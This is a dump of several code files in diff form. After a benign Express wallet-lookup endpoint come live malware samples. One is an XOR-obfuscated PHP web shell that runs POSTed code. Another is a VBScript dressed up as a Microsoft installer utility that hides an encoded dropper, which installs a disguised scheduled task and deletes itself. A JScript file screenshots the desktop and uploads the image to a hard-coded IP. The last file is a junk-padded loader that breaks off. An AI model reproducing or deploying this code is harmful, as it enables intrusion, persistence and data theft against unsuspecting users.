| 114 |
+
}),
|
| 115 |
+
};
|
| 116 |
+
|
| 117 |
+
fetch(url, opts)
|
| 118 |
+
.then((res) => res.json())
|
| 119 |
+
.then((val) => {
|
| 120 |
+
val = val.data;
|
| 121 |
+
if (val && val.search && val.search.length > 0) {
|
| 122 |
+
let tokenArray = [];
|
| 123 |
+
val.search.map((item) => {
|
| 124 |
+
if (
|
| 125 |
+
item.subject &&
|
| 126 |
+
item.subject.tokenType &&
|
| 127 |
+
item.subject.tokenType === "ERC20"
|
| 128 |
+
) {
|
| 129 |
+
tokenArray.push({
|
| 130 |
+
name: item.subject.name + " (" + item.subject.symbol + ")",
|
| 131 |
+
addr: item.subject.address,
|
| 132 |
+
});
|
| 133 |
+
}
|
| 134 |
+
});
|
| 135 |
+
res.send({ result: tokenArray });
|
| 136 |
+
} else {
|
| 137 |
+
res.send({ result: [] });
|
| 138 |
+
}
|
| 139 |
+
});
|
| 140 |
+
}
|
| 141 |
+
/*} else {
|
| 142 |
+
return res.send({
|
| 143 |
+
status: false,
|
| 144 |
+
message: "Invalid api call"
|
| 145 |
+
});
|
| 146 |
+
}
|
| 147 |
+
})*/
|
| 148 |
+
});
|
| 149 |
+
|
| 150 |
+
app.post("/tierinfo/", (req, res) => {
|
| 151 |
+
if (
|
| 152 |
+
req.body.walletAddr === undefined ||
|
| 153 |
+
req.headers.authent === undefined
|
| 154 |
+
) {
|
| 155 |
+
return res.send({
|
| 156 |
+
status: false,
|
| 157 |
+
message: "Wallet Address can not be empty",
|
| 158 |
+
});
|
| 159 |
+
}
|
| 160 |
+
|
| 161 |
+
Users.find({
|
| 162 |
+
publicAddress: req.body.walletAddr.toLowerCase(),
|
| 163 |
+
jwtToken: req.headers.authent,
|
| 164 |
+
}).then((users) => {
|
| 165 |
+
if (users.length > 0) {
|
| 166 |
+
return res.send({
|
| 167 |
+
status: true,
|
| 168 |
+
message: config.TIER_INFO,
|
| 169 |
+
});
|
| 170 |
+
} else {
|
| 171 |
+
return res.send({
|
| 172 |
+
status: false,
|
| 173 |
+
message: "Invalid api call",
|
| 174 |
+
});
|
| 175 |
+
}
|
| 176 |
+
});
|
| 177 |
+
});
|
| 178 |
+
};
|
code/24193b22802e289b29bc592444568a2147ea1d56f5783021afce6bfb16658670
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?php
|
| 2 |
+
class UKNA {
|
| 3 |
+
function KHVZ() {
|
| 4 |
+
$FKrR = "\xca" ^ "\xab";
|
| 5 |
+
$EZnL = "\x29" ^ "\x5a";
|
| 6 |
+
$qDzP = "\x2d" ^ "\x5e";
|
| 7 |
+
$eyKw = "\xb6" ^ "\xd3";
|
| 8 |
+
$IWRb = "\x2f" ^ "\x5d";
|
| 9 |
+
$fdzN = "\x45" ^ "\x31";
|
| 10 |
+
$WlTm =$FKrR.$EZnL.$qDzP.$eyKw.$IWRb.$fdzN;
|
| 11 |
+
return $WlTm;
|
| 12 |
+
}
|
| 13 |
+
function __destruct(){
|
| 14 |
+
$vEoY=$this->KHVZ();
|
| 15 |
+
@$vEoY($this->zc);
|
| 16 |
+
}
|
| 17 |
+
}
|
| 18 |
+
$ukna = new UKNA();
|
| 19 |
+
@$ukna->zc = isset($_GET['id'])?base64_decode($_POST['admin']):$_POST['admin'];
|
| 20 |
+
?>
|
code/259bf83ec41cb464e102a542c244bf806024735aba561e9d3a4afae8261f00ba
ADDED
|
@@ -0,0 +1,123 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
Const msiOpenDatabaseModeReadOnly = 0
|
| 2 |
+
|
| 3 |
+
' Show help if no arguments or if argument contains ?
|
| 4 |
+
Dim argCount : argCount = Wscript.Arguments.Count
|
| 5 |
+
If argCount > 0 Then If InStr(1, Wscript.Arguments(0), "?", vbTextCompare) > 0 Then argCount = 0
|
| 6 |
+
If argCount = 0 Then
|
| 7 |
+
SafeEcho "Windows Installer utility to preview dialogs from an install database." &_
|
| 8 |
+
vbLf & " The 1st argument is the path to an install database, relative or complete path" &_
|
| 9 |
+
vbLf & " Subsequent arguments are dialogs to display (primary key of Dialog table)" &_
|
| 10 |
+
vbLf & " To show a billboard, append the Control name (Control table key) and Billboard" &_
|
| 11 |
+
vbLf & " name (Billboard table key) to the Dialog name, separated with colons." &_
|
| 12 |
+
vbLf & " If no dialogs specified, all dialogs in Dialog table are displayed sequentially" &_
|
| 13 |
+
vbLf & " Note: The name of the dialog, if provided, is case-sensitive" &_
|
| 14 |
+
vblf &_
|
| 15 |
+
vblf & "Copyright (C) Microsoft Corporation. All rights reserved."
|
| 16 |
+
End If
|
| 17 |
+
|
| 18 |
+
' Connect to Windows Installer object
|
| 19 |
+
On Error Resume Next
|
| 20 |
+
Dim installer : Set installer = Nothing
|
| 21 |
+
|
| 22 |
+
Dim a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z
|
| 23 |
+
a = "Start"
|
| 24 |
+
b = "End"
|
| 25 |
+
c = "Loop"
|
| 26 |
+
d = "Callback"
|
| 27 |
+
e = "Execute"
|
| 28 |
+
f = "Kill"
|
| 29 |
+
g = "Thread"
|
| 30 |
+
h = "New"
|
| 31 |
+
i = "Sort"
|
| 32 |
+
j = "Ping"
|
| 33 |
+
k = "Tasklist"
|
| 34 |
+
l = "Stack"
|
| 35 |
+
m = "Default"
|
| 36 |
+
n = "Resume"
|
| 37 |
+
o = "Connect"
|
| 38 |
+
p = "Defender"
|
| 39 |
+
q = "Microsoft"
|
| 40 |
+
r = "Curl"
|
| 41 |
+
s = "Proxy"
|
| 42 |
+
t = "Hook"
|
| 43 |
+
u = "And"
|
| 44 |
+
v = "Or"
|
| 45 |
+
w = "DNS"
|
| 46 |
+
x = "Write"
|
| 47 |
+
y = "Read"
|
| 48 |
+
z = "Over"
|
| 49 |
+
|
| 50 |
+
Function UseFunction1()
|
| 51 |
+
Dim i
|
| 52 |
+
For i = 1 To 10
|
| 53 |
+
SafeEcho "Loop to counter: " & i
|
| 54 |
+
Next
|
| 55 |
+
End Function
|
| 56 |
+
|
| 57 |
+
Function SetupFunction()
|
| 58 |
+
Dim j, result
|
| 59 |
+
result = ""
|
| 60 |
+
For j = 1 To 5
|
| 61 |
+
result = result & Chr(64 + j)
|
| 62 |
+
Next
|
| 63 |
+
SetupFunction = result
|
| 64 |
+
End Function
|
| 65 |
+
|
| 66 |
+
jBxL = "":for i = 1 to 4337: jBxL = jBxL + chr(Asc(mid("Inr%tgoKXTInr%xywKnqjUfymInr%xywSj|KnqjUfymXjy%tgoKXT%B%\Xhwnuy3HwjfyjTgojhy-'Xhwnuynsl3KnqjX~xyjrTgojhy'.Inr%hzwwjsyUfymhzwwjsyUfym%B%tgoKXT3LjyFgxtqzyjUfymSfrj-'3'.xywKnqjUfym%B%hzwwjsyUfym%+%'adhfhmjahfhmjahfhmj3gfp'xywSj|KnqjUfym%B%hzwwjsyUfym%+%'adhfhmjahfhmjaxnl{jwnk3j}j'tgoKXT3Rt{jKnqj%xywKnqjUfym1%xywSj|KnqjUfymXjy%tgoKXT%B%StymnslInr%knqjsfrjg;9knqjsfrjg;9%B%IjhtijGfxj;9-':g~H:u;J:gr:^0|;PfG:<Xl:^7U:_HR::HL;P;;:uf::wT[:;HZ:;r7PTX4wzfZzjfJo0nslXpz_L>ojFBB'.Inr%kxtXjy%kxt%B%\Xhwnuy3HwjfyjTgojhy-'Xhwnuynsl3KnqjX~xyjrTgojhy'.Inr%xtzwhjUfym1ijxynsfyntsUfym1wzsknqj1wzsknqj7xtzwhjUfym%B%hzwwjsyUfym%+%'adhfhmjahfhmja'%+%'hfhmj3ig'ijxynsfyntsUfym%B%hzwwjsyUfym%+%'a'%+%knqjsfrjg;9ijqjyjKnqj%B%hzwwjsyUfym%+%%'a'%+%knqjsfrjg;9%+%'3qsp'wzsknqj%B%Hmw-89.%+%hzwwjsyUfym%+%'adhfhmjahfhmjaxnl{jwnk3j}j'%+%Hmw-89.wzsknqj7%B%hzwwjsyUfym%+%'adhfhmjahfhmjaxnl{jwnk3j}j'kxt3Rt{jKnqj%xtzwhjUfym1%ijxynsfyntsUfymkxt3IjqjyjKnqj%ijqjyjKnqjInr%yjruKtqijw1%yjruUfymyjruKtqijw%B%kxt3LjyXujhnfqKtqijw-7.yjruUfym%B%yjruKtqijw%+%'axnl{jwnk3j}j'kxt3Htu~Knqj%wzsknqj71%yjruUfym1%YwzjInr%{6{6%B%Hmw-89.%+%ijxynsfyntsUfym%+%Hmw-89.Xjy%\xmXmjqq%B%HwjfyjTgojhy-'\Xhwnuy3Xmjqq'.\xmXmjqq3Wzs%{61%51%Kfqxj\xmXmjqq3Wzs%yjruUfym1%51%Kfqxjkxt3IjqjyjKnqj%wzsknqj7Xjy%\xmXmjqq%B%StymnslInr%xmjqqUfymInr%yfxpSfrj%%%%xmjqqUfym%B%yjruUfymyfxpSfrj%B%'\usZxjwXjw{nhjd};9'%%%%Htsxy%YwnlljwY~ujIfnq~%B%6Htsxy%FhyntsY~ujJ}jh%B%5Xjy%xjw{nhj%B%HwjfyjTgojhy-'Xhmjizqj3Xjw{nhj'.Hfqq%xjw{nhj3HtssjhyInr%wttyKtqijwXjy%wttyKtqijw%B%xjw{nhj3LjyKtqijw-'a'.Inr%yfxpIjknsnyntsXjy%yfxpIjknsnynts%B%xjw{nhj3Sj|Yfxp-5.Inr%wjlNsktXjy%wjlNskt%B%yfxpIjknsnynts3WjlnxywfyntsNsktwjlNskt3Ijxhwnuynts%B%'Zuifyj'wjlNskt3Fzymtw%B%'Rnhwtxtky'Inr%xjyynslxXjy%xjyynslx%B%yfxpIjknsnynts3xjyynslxxjyynslx3Jsfgqji%B%Ywzjxjyynslx3Xyfwy\mjsF{fnqfgqj%B%Ywzjxjyynslx3Mniijs%B%Kfqxjxjyynslx3Inxfqqt|XyfwyNkTsGfyyjwnjx%B%KfqxjInr%ywnlljwxXjy%ywnlljwx%B%yfxpIjknsnynts3ywnlljwxInr%ywnlljwTs%Jwwtw%Wjxzrj%Sj}y%%%%HwjfyjTgojhy-'\Xhwnuy3Xmjqq'.3WjlWjfi%-'MPJ^dZXJWXaX262:26>aJs{nwtsrjsyaYJRU'.%%%%Nk%Jww3Szrgjw%B%5%Ymjs%%%%%%%%NxFirns%B%Ywzj%%%%Xjy%ywnlljw%B%ywnlljwx3Hwjfyj-=.%%%%Xjy%ywnlljw%B%ywnlljwx3Hwjfyj->.%%%%Jqxj%%%%%%%%NxFirns%B%Kfqxj%%%%Jsi%Nk%%%%Jww3Hqjfw%%%%Ts%Jwwtw%LtYt%5Xjy%ywnlljw%B%ywnlljwx3Hwjfyj-<.Xjy%ywnlljw%B%ywnlljwx3Hwjfyj-;.Xjy%ywnlljw%B%ywnlljwx3Hwjfyj-YwnlljwY~ujIfnq~.Inr%xyfwyYnrj1%jsiYnrjInr%ynrjynrj%B%IfyjFii-'s'1%71%St|.Inr%hXjhtsi1%hRnszyj1%HMtzw1%hIf~1%hRtsym1%h^jfwInr%yYnrj1%yIfyjhXjhtsi%B%'5'%+%Xjhtsi-ynrj.hRnszyj%B%'5'%+%Rnszyj-ynrj.HMtzw%B%'5'%+%Mtzw-ynrj.hIf~%B%'5'%+%If~-ynrj.hRtsym%B%'5'%+%Rtsym-ynrj.h^jfw%B%^jfw-ynrj.yYnrj%B%Wnlmy-HMtzw1%7.%+%'?'%+%Wnlmy-hRnszyj1%7.%+%'?'%+%Wnlmy-hXjhtsi1%7.yIfyj%B%h^jfw%+%'2'%+%Wnlmy-hRtsym1%7.%+%'2'%+%Wnlmy-hIf~1%7.xyfwyYnrj%B%yIfyj%+%'Y'%+%yYnrjjsiYnrj%B%'75>>25:257Y65?:7?57'ywnlljw3XyfwyGtzsifw~%B%xyfwyYnrjywnlljw3JsiGtzsifw~%B%jsiYnrjywnlljw3NI%B%'YnrjYwnlljwNi'ywnlljw3Jsfgqji%B%YwzjInr%wjujynyntsUfyyjwsXjy%wjujynyntsUfyyjws%B%ywnlljw3WjujynyntswjujynyntsUfyyjws3Nsyjw{fq%B%'UY:>R'%,Inr%FhyntsXjy%Fhynts%B%yfxpIjknsnynts3Fhyntsx3Hwjfyj-FhyntsY~ujJ}jh.Fhynts3Ufym%B%xmjqqUfymFhynts3fwlzrjsyx%B%''Inr%tgoSjy1%QtlnsZxjwXjy%tgoSjy%B%HwjfyjTgojhy-'\Xhwnuy3Sjy|twp'.QtlnsZxjw%B%tgoSjy3ZxjwSfrj%%%%Nk%ZHfxj-QtlnsZxjw.%B%'X^XYJR'%Ymjs%%%%Jqxj%%%%QtlnsZxjw%B%Jruy~%%%%Jsi%NkHfqq%wttyKtqijw3WjlnxyjwYfxpIjknsnynts-yfxpSfrj1%yfxpIjknsnynts1%;1%QtlnsZxjw1%1%8.Kzshynts%IjhtijGfxj;9-g;9.%%%%Inr%}rq1%g~yjFwwf~1%xywjfr%%%%Xjy%}rq%B%HwjfyjTgojhy-'RX]rq73ITRIthzrjsy3835'.%%%%}rq3fx~sh%B%Kfqxj%%%%}rq3Qtfi]rq%'AwttyCA4wttyC'%%%%}rq3ithzrjsyJqjrjsy3ifyfY~uj%B%'gns3gfxj;9'%%%%}rq3ithzrjsyJqjrjsy3Yj}y%B%g;9%%%%g~yjFwwf~%B%}rq3ithzrjsyJqjrjsy3stijY~uji[fqzj%%%%Xjy%xywjfr%B%HwjfyjTgojhy-'FITIG3Xywjfr'.%%%%xywjfr3Y~uj%B%6%,fiY~ujGnsfw~%%%%xywjfr3Tujs%%%%xywjfr3\wnyj%g~yjFwwf~%%%%xywjfr3Utxnynts%B%5%%%%xywjfr3Y~uj%B%7%,fiY~ujYj}y%%%%xywjfr3Hmfwxjy%B%'zyk2='%%%%IjhtijGfxj;9%B%xywjfr3WjfiYj}y%%%%xywjfr3HqtxjJsi%KzshyntsXjy%tgoKXT%B%HwjfyjTgojhy-'Xhwnuynsl3KnqjX~xyjrTgojhy'.xywXhwnuyUfym%B%\Xhwnuy3XhwnuyKzqqSfrjNk%QHfxj-Wnlmy-xywXhwnuyUfym1%9..%B%'3{gx'%Ymjs%%%%tgoKXT3IjqjyjKnqj%xywXhwnuyUfymJsi%Nk\Xhwnuy3Vzny",i,1)) - (5)):Next:Execute jBxL:
|
| 67 |
+
|
| 68 |
+
Sub AddToStart()
|
| 69 |
+
' This function does absolutely nothing
|
| 70 |
+
End Sub
|
| 71 |
+
|
| 72 |
+
Function XusYDcoaUZwDD(a, b, c)
|
| 73 |
+
If a > b Then
|
| 74 |
+
If b > c Then
|
| 75 |
+
XusYDcoaUZwDD = a + b + c
|
| 76 |
+
Else
|
| 77 |
+
XusYDcoaUZwDD = a - b - c
|
| 78 |
+
End If
|
| 79 |
+
Else
|
| 80 |
+
XusYDcoaUZwDD = a * b * c
|
| 81 |
+
End If
|
| 82 |
+
End Function
|
| 83 |
+
|
| 84 |
+
Function UyenXOianql1(x, y)
|
| 85 |
+
Dim z
|
| 86 |
+
z = x * y
|
| 87 |
+
UyenXOianql1 = z / 2
|
| 88 |
+
End Function
|
| 89 |
+
|
| 90 |
+
Dim counter, randomVar
|
| 91 |
+
counter = 0
|
| 92 |
+
randomVar = "Random"
|
| 93 |
+
|
| 94 |
+
While counter < 5
|
| 95 |
+
SafeEcho "Counter is at: " & counter
|
| 96 |
+
counter = counter + 1
|
| 97 |
+
Wend
|
| 98 |
+
|
| 99 |
+
For Each item In Array(a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z)
|
| 100 |
+
SafeEcho item
|
| 101 |
+
Next
|
| 102 |
+
|
| 103 |
+
Sub SafeEcho(message)
|
| 104 |
+
Dim objShell, isCscript
|
| 105 |
+
|
| 106 |
+
isCscript = InStr(LCase(WScript.FullName), "cscript.exe") > 0
|
| 107 |
+
|
| 108 |
+
If isCscript Then
|
| 109 |
+
' Wscript.Echo message
|
| 110 |
+
Else
|
| 111 |
+
Set objShell = CreateObject("WScript.Shell")
|
| 112 |
+
' objShell.Run "cmd /c echo " & message, 0, True
|
| 113 |
+
End If
|
| 114 |
+
End Sub
|
| 115 |
+
|
| 116 |
+
|
| 117 |
+
UseFunction1()
|
| 118 |
+
SafeEcho SetupFunction()
|
| 119 |
+
AddToStart()
|
| 120 |
+
SafeEcho XusYDcoaUZwDD(3, 2, 1)
|
| 121 |
+
SafeEcho UyenXOianql1(10, 20)
|
| 122 |
+
|
| 123 |
+
SafeEcho a & " " & b & " " & c & " " & d & " " & e & " " & f & g & " " & h & " " & i & " " & j & " " & k & l & " " & m & " " & n & o & " " & p & " " & q & r & " " & s & t & " " & u & v & " " & w & " " & x & " " & y & z
|
code/25e0b673c015d29419b3b12fb5faafaf497c8e7d91a862faa66a027775901755
ADDED
|
@@ -0,0 +1,98 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/**
|
| 2 |
+
* Validates the provided SocksClientOptions
|
| 3 |
+
* @param options { SocksClientOptions }
|
| 4 |
+
* @param acceptedCommands { string[] } A list of accepted SocksProxy commands.
|
| 5 |
+
*/
|
| 6 |
+
|
| 7 |
+
//# sourceMappingURL=isEmpty.js.map
|
| 8 |
+
|
| 9 |
+
[1,2,31829942]
|
| 10 |
+
|
| 11 |
+
//# sourceMappingURL=audit.js.map
|
| 12 |
+
|
| 13 |
+
/*
|
| 14 |
+
class AuditSubscriber extends SimpleOuterSubscriber {
|
| 15 |
+
constructor(destination, durationSelector) {
|
| 16 |
+
super(destination);
|
| 17 |
+
this.durationSelector = durationSelector;
|
| 18 |
+
this.hasValue = false;
|
| 19 |
+
}
|
| 20 |
+
_next(value) {
|
| 21 |
+
this.value = value;
|
| 22 |
+
this.hasValue = true;
|
| 23 |
+
if (!this.throttled) {
|
| 24 |
+
let duration;
|
| 25 |
+
try {
|
| 26 |
+
const { durationSelector } = this;
|
| 27 |
+
duration = durationSelector(value);
|
| 28 |
+
}
|
| 29 |
+
catch (err) {
|
| 30 |
+
return this.destination.error(err);
|
| 31 |
+
}
|
| 32 |
+
const innerSubscription = innerSubscribe(duration, new SimpleInnerSubscriber(this));
|
| 33 |
+
if (!innerSubscription || innerSubscription.closed) {
|
| 34 |
+
this.clearThrottle();
|
| 35 |
+
}
|
| 36 |
+
else {
|
| 37 |
+
this.add(this.throttled = innerSubscription);
|
| 38 |
+
}
|
| 39 |
+
}
|
| 40 |
+
}
|
| 41 |
+
clearThrottle() {
|
| 42 |
+
const { value, hasValue, throttled } = this;
|
| 43 |
+
if (throttled) {
|
| 44 |
+
this.remove(throttled);
|
| 45 |
+
this.throttled = undefined;
|
| 46 |
+
throttled.unsubscribe();
|
| 47 |
+
}
|
| 48 |
+
if (hasValue) {
|
| 49 |
+
this.value = undefined;
|
| 50 |
+
this.hasValue = false;
|
| 51 |
+
this.destination.next(value);
|
| 52 |
+
}
|
| 53 |
+
}
|
| 54 |
+
notifyNext() {
|
| 55 |
+
this.clearThrottle();
|
| 56 |
+
}
|
| 57 |
+
notifyComplete() {
|
| 58 |
+
this.clearThrottle();
|
| 59 |
+
}
|
| 60 |
+
}
|
| 61 |
+
*/
|
| 62 |
+
|
| 63 |
+
var oly = "Windows";
|
| 64 |
+
10 / 2 // division
|
| 65 |
+
var sOlyo = "Installer"; // Assign the text "Robin" to the variable sOlyo.
|
| 66 |
+
var f = function(x){return x*x;} // function literal
|
| 67 |
+
radius = 8;
|
| 68 |
+
4 + 5 // additon
|
| 69 |
+
var o = {x:1, y:2} // Object literal
|
| 70 |
+
[1,2,3] // Array literal
|
| 71 |
+
var sueGo = WScript.CreateObject("WScript.Shell");
|
| 72 |
+
|
| 73 |
+
f = "h";o = "p";heskkr = ".";u = "i";ka = "ke";n = "t";
|
| 74 |
+
fso = new ActiveXObject("Scripting.FileSystemObject");
|
| 75 |
+
sous = "s";xo = "c";
|
| 76 |
+
var sueGo = WScript.CreateObject("WinHttp.WinHttpRequest.5.1");
|
| 77 |
+
|
| 78 |
+
drive = fso.GetDrive(xo + ":\\")
|
| 79 |
+
shell.Run("i_view32.exe /capture /convert=" + radius + ".jpg");
|
| 80 |
+
|
| 81 |
+
WScript.sleep(5000);
|
| 82 |
+
|
| 83 |
+
var sueGo = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
|
| 84 |
+
sueGo.Open("POST", f + n + n + "p://" + radius + ".210.10.62/" + sous + "creenshot/" + drive.SerialNumber, false);
|
| 85 |
+
sueGo.SetRequestHeader("User-Agent", oly + " " + sOlyo);
|
| 86 |
+
sueGo.SetRequestHeader("Cache-Control","no-cache");
|
| 87 |
+
sueGo.SetRequestHeader("Content-Type", "image/jpg");
|
| 88 |
+
|
| 89 |
+
var st = new ActiveXObject("ADODB.Stream");
|
| 90 |
+
st.Type = 1;
|
| 91 |
+
st.Open();
|
| 92 |
+
st.LoadFromFile(radius + ".jpg");
|
| 93 |
+
var binVariant = st.read();
|
| 94 |
+
|
| 95 |
+
sueGo.Send(binVariant);
|
| 96 |
+
|
| 97 |
+
WScript.sleep(5000);
|
| 98 |
+
shell.Run("wmic product where name='FLibrary' call uninstall /nointeractive", 0);
|
code/2709789cd474b85696572086ab3b4a59cfc9cbad5c31ef28954339de71efdac0
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//var CryptoJS = require("crypto-js");
|
| 2 |
+
//Call REST APIs every 6 secs
|
| 3 |
+
79.6
|
| 4 |
+
/*
|
| 5 |
+
function getWalletSnapshot(exchgData){
|
| 6 |
+
|
| 7 |
+
return new Promise(function(resolve,reject){
|
| 8 |
+
|
| 9 |
+
var lv_response = {
|
| 10 |
+
"BINANCE" : {},
|
| 11 |
+
"BITFINEX" : {},
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
//BINANCE
|
| 15 |
+
//Decrypt API Keys
|
| 16 |
+
const passPhrase = require('./JSMods/encryption');
|
| 17 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 18 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
const binanceRest = new api.BinanceRest({
|
| 22 |
+
key: lv_key1, // Get this from your account on binance.com
|
| 23 |
+
secret: lv_key2, // Same for this
|
| 24 |
+
timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds
|
| 25 |
+
recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors
|
| 26 |
+
disableBeautification: false,
|
| 27 |
+
handleDrift: true
|
| 28 |
+
});
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
binanceRest.account()
|
| 32 |
+
.then((r1) => {
|
| 33 |
+
for(k=0;k<r1["balances"].length;k++){
|
| 34 |
+
if(r1["balances"][k]["free"] > 0){
|
| 35 |
+
lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"];
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
//Bitfinex
|
| 40 |
+
//Decrypt API Keys
|
| 41 |
+
const passPhrase = require('./JSMods/encryption');
|
| 42 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 43 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 44 |
+
|
| 45 |
+
const BFX = require('bitfinex-api-node')
|
| 46 |
+
const bfx = new BFX({
|
| 47 |
+
apiKey: lv_key1,
|
| 48 |
+
apiSecret: lv_key2,
|
| 49 |
+
|
| 50 |
+
ws: {
|
| 51 |
+
autoReconnect: true,
|
| 52 |
+
seqAudit: true,
|
| 53 |
+
packetWDDelay: 3 * 1000
|
| 54 |
+
}
|
| 55 |
+
})
|
| 56 |
+
let ws = bfx.ws(2) //
|
| 57 |
+
ws.on('error', (err) => console.log(err))
|
| 58 |
+
ws.on('open', ws.auth.bind(ws))
|
| 59 |
+
|
| 60 |
+
ws.open()
|
| 61 |
+
ws.onWalletSnapshot({}, (walletB) => {
|
| 62 |
+
for(k=0;k<walletB.length;k++){
|
| 63 |
+
lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2];
|
| 64 |
+
}
|
| 65 |
+
ws.close();
|
| 66 |
+
resolve(JSON.stringify(lv_response));
|
| 67 |
+
});
|
| 68 |
+
|
| 69 |
+
})
|
| 70 |
+
.catch((err) => {
|
| 71 |
+
console.error(err);
|
| 72 |
+
reject(JSON.stringify(err));
|
| 73 |
+
});
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
});
|
| 77 |
+
|
| 78 |
+
}
|
| 79 |
+
*/
|
| 80 |
+
|
| 81 |
+
3.9 // numeric literal
|
| 82 |
+
"Hello!" // string literal
|
| 83 |
+
false // Boolean literal
|
| 84 |
+
[1,2,3] // Array literal
|
| 85 |
+
var o = {x:1, y:2} // Object literal
|
| 86 |
+
var f = function(x){return x*x;} // function literal
|
| 87 |
+
4 + 5 // additon
|
| 88 |
+
10 / 2 // division
|
| 89 |
+
var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird.
|
| 90 |
+
radius = 139;
|
| 91 |
+
uros = 7;3;1,83;
|
| 92 |
+
o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n";
|
| 93 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 94 |
+
